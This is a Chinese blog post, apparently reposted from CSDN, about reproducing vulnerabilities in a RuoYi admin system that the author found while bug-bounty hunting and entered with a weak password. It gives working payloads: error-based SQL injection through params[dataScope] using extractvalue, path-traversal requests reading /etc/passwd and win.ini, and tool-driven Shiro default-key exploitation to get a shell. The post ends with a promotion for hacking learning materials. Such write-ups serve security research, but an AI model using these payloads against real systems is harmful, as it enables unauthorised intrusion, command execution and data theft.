实战Src对ruoyi框架管理系统漏洞的复现

发布时间:2023年12月18日

前言:

在挖src的时候,搜搜有没有后台弱口令能进去的:


发现一个弱口令进去后:


【这个蓝色的草丛居然堪比算是ruoyi的指纹】
?


看这界面,是不是很像ruoyi
插件一看:


前端vue.js

加上登录的cookie rememberMe:


【登录失败时bp抓包相应包有remeberMe=delete】
得知登录为shiro框架
八九不离十后台就是ruoyi框架的管理系统了

若依管理系统简介

若依管理系统(Ruoyi Admin System)是一款基于Java开发的开源后台管理系统,若依管理系统采用前后端分离架构,前端使用Vue.js框架,后端使用Spring Boot框架。
找了个ruoyi系统的例图如下:

漏洞一:若依前台默认shiro key命令执行漏洞

漏洞简介
若依默认使用shiro组件,所以可以试试shiro经典的反序列化 rememberMe漏洞来getshell。
直接工具一搜哈:

直接先爆破密钥,成功了血赚,失败了不亏,还有其他方法能得到AES的key
工具二搜哈:
【url和cookie配置好就直接搜哈】


这里发现了很多的漏洞:
[+] 存在Snakeyaml命令执行漏洞
[+] 存在JdbcTemplate漏洞
[+] 存在ReadFile(新)文件读取漏洞
[+] 存在ReadFile(老)文件读取漏洞
[+] 存在Thymeleaf模板注入漏洞
[+] 存在SQL(1)注入漏洞
[+] 存在SQL(2)注入漏洞
[+] 存在SQL(3)注入漏洞
[+] 存在Shiro框架
[+] 存在默认key:xxxxx
我们先针对shiro框架:
拿着key去工具一:

然后检测利用链,检测成功后就可以命令执行getshell了:

漏洞二:若依后台存在多处sql注入漏洞

第一处:


角色管理的搜索,bp拦截抓包:


poc:
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
报错注入回显database():


poc2:
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=?ms[beginTime]=?ms[endTime]=?ms[dataScope]=and extractvalue(1,concat(0x7e,(select table_schema from information_schema.tables limit 0,1),0x7e))


爆到库名点到为止

第二处:


也是角色管理,在导出这里
poc:
params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

或者直接使用工具二

漏洞三:若依后台任意文件读取(CNVD-2021-01931)

直接get访问:
/common/download/resource?resource=/profile/../../../../etc/passwd
/common/download/resource?resource=/profile/../../../../Windows/win.ini

漏洞四:若依后台定时任务RCE

没有公网vps,无法复现

漏洞五:Thymeleaf模板注入漏洞

用工具二 ping+dnslog验证:

还有漏洞复现望补充

免费领取安全学习资料包!

渗透工具

技术文档、书籍

?

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

?

应急响应笔记

学习路线

?

文章来源:https://blog.csdn.net/zkaqlaoniao/article/details/135057047
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。